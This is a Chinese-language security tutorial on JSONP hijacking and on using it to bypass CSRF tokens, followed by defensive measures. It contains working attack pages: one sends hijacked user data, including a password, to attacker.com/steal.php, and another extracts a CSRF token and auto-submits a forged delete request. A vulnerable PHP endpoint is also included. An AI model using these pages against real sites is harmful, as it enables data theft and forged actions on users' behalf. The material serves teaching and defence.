JSONP绕过CSRF防护token
字数 1140 2025-08-26 22:11:45

JSONP绕过CSRF防护token技术分析

1. JSONP基础概念

1.1 什么是JSONP

JSONP(JSON with Padding)是JSON的一种"使用模式",允许网页从其他域名(网站)获取数据,实现跨域读取数据。其基本语法形式为:

callback({ "name": "kwan", "msg": "获取成功" });

1.2 JSONP工作原理

  1. 动态插入带有跨域URL的<script>标签
  2. 调用回调函数
  3. 将JSON数据作为参数传入回调函数
  4. 通过前端逻辑处理并显示数据

典型JSONP请求示例:

http://www.test.com/index.html?jsonpcallback=hehe

2. JSONP劫持漏洞

2.1 漏洞原理

攻击者可以劫持callback参数,构造自定义回调函数。当受害者访问恶意页面时,会向目标JSONP接口发起请求,返回的数据由攻击者控制的回调函数处理。

2.2 漏洞复现示例

服务端代码(JSONP_callback.php):

<?php
    header('Content-type: application/json');
    $callback = $_GET["callback"];
    $json_data = '{"customername1":"user1","password":"12345678"}';
    echo $callback . "(" . $json_data . ")";
?>

攻击页面代码:

<html>
<head>
<script>
function hehehe(obj){
    alert(obj["password"]);
    var myForm = document.createElement("form");
    myForm.action="http://attacker.com/steal.php";
    myForm.method = "GET";  
    for (var k in obj) {  
        var myInput = document.createElement("input");  
        myInput.setAttribute("name", k);  
        myInput.setAttribute("value", obj[k]);  
        myForm.appendChild(myInput);  
    }  
    document.body.appendChild(myForm);  
    myForm.submit();  
    document.body.removeChild(myForm);
}
</script>
</head>
<body>
<script src="http://victim.com/JSONP_callback.php?callback=hehehe"></script>
</body>
</html>

2.3 攻击流程

  1. 受害者访问攻击者构造的恶意页面
  2. 页面自动请求目标JSONP接口
  3. 返回数据被攻击者定义的回调函数处理
  4. 敏感信息被窃取并发送到攻击者服务器

3. 利用JSONP绕过CSRF Token防护

3.1 攻击场景

当目标网站同时满足以下条件时,可利用JSONP绕过CSRF Token防护:

  1. 存在JSONP劫持漏洞
  2. 关键操作页面源码中包含Token
  3. 没有Referer防护或Referer可绕过

3.2 攻击实现

攻击页面代码:

<html>
<head>
<title>CSRF攻击页面</title>
</head>
<body>
<div id="test"></div>
<script>
function test(obj){
    var content = obj['html'];
    var token = content.match('token = "(.*?)"')[1];
    
    var parent = document.getElementById("test");
    var child = document.createElement("form");
    child.method = "POST";
    child.action = "http://victim.com/del.html";
    child.id = "test1";
    parent.appendChild(child);
    
    var parent_1 = document.getElementById("test1");
    var child_1 = document.createElement("input");
    child_1.type = "hidden";
    child_1.name = "token";
    child_1.value = token;
    parent_1.appendChild(child_1);
    
    child.submit();
}
</script>
<script src="http://victim.com/caozuo.html?htmlcallback=test"></script>
</body>
</html>

3.3 攻击步骤

  1. 识别目标网站JSONP端点(如htmlcallback/jscallback参数)
  2. 通过JSONP获取包含Token的页面源码
  3. 使用正则表达式提取Token值
  4. 动态构建表单并自动提交
  5. 完成CSRF攻击

4. 防护措施

4.1 针对JSONP劫持的防护

  1. 严格实现CSRF防护

    • 验证Referer头
    • 使用一次性Token
  2. 规范JSON输出

    • 设置正确的Content-Type(application/json; charset=utf-8)
    • 严格过滤callback函数名和JSON数据输出
  3. 限制callback长度

    • 防止利用过长的callback参数进行XSS攻击
  4. 添加干扰字符

    • 在callback输出前添加/**/或换行符
    • 使用while(1);等前缀防止直接调用

4.2 针对CSRF的增强防护

  1. 双重Token验证

    • 表单Token + Cookie Token
  2. SameSite Cookie属性

    • 设置SameSite=StrictSameSite=Lax
  3. 关键操作二次验证

    • 密码确认
    • 短信/邮箱验证码

5. 参考资源

  1. JSONP安全攻防技术
  2. JSONP漏洞挖掘与利用
  3. 新浪JSONP劫持漏洞分析
  4. Request Merging绕过Referer检测
JSONP绕过CSRF防护token技术分析 1. JSONP基础概念 1.1 什么是JSONP JSONP(JSON with Padding)是JSON的一种"使用模式",允许网页从其他域名(网站)获取数据,实现跨域读取数据。其基本语法形式为: 1.2 JSONP工作原理 动态插入带有跨域URL的 <script> 标签 调用回调函数 将JSON数据作为参数传入回调函数 通过前端逻辑处理并显示数据 典型JSONP请求示例: 2. JSONP劫持漏洞 2.1 漏洞原理 攻击者可以劫持callback参数,构造自定义回调函数。当受害者访问恶意页面时,会向目标JSONP接口发起请求,返回的数据由攻击者控制的回调函数处理。 2.2 漏洞复现示例 服务端代码(JSONP_ callback.php): 攻击页面代码: 2.3 攻击流程 受害者访问攻击者构造的恶意页面 页面自动请求目标JSONP接口 返回数据被攻击者定义的回调函数处理 敏感信息被窃取并发送到攻击者服务器 3. 利用JSONP绕过CSRF Token防护 3.1 攻击场景 当目标网站同时满足以下条件时,可利用JSONP绕过CSRF Token防护: 存在JSONP劫持漏洞 关键操作页面源码中包含Token 没有Referer防护或Referer可绕过 3.2 攻击实现 攻击页面代码: 3.3 攻击步骤 识别目标网站JSONP端点(如htmlcallback/jscallback参数) 通过JSONP获取包含Token的页面源码 使用正则表达式提取Token值 动态构建表单并自动提交 完成CSRF攻击 4. 防护措施 4.1 针对JSONP劫持的防护 严格实现CSRF防护 : 验证Referer头 使用一次性Token 规范JSON输出 : 设置正确的Content-Type( application/json; charset=utf-8 ) 严格过滤callback函数名和JSON数据输出 限制callback长度 : 防止利用过长的callback参数进行XSS攻击 添加干扰字符 : 在callback输出前添加 /**/ 或换行符 使用 while(1); 等前缀防止直接调用 4.2 针对CSRF的增强防护 双重Token验证 : 表单Token + Cookie Token SameSite Cookie属性 : 设置 SameSite=Strict 或 SameSite=Lax 关键操作二次验证 : 密码确认 短信/邮箱验证码 5. 参考资源 JSONP安全攻防技术 JSONP漏洞挖掘与利用 新浪JSONP劫持漏洞分析 Request Merging绕过Referer检测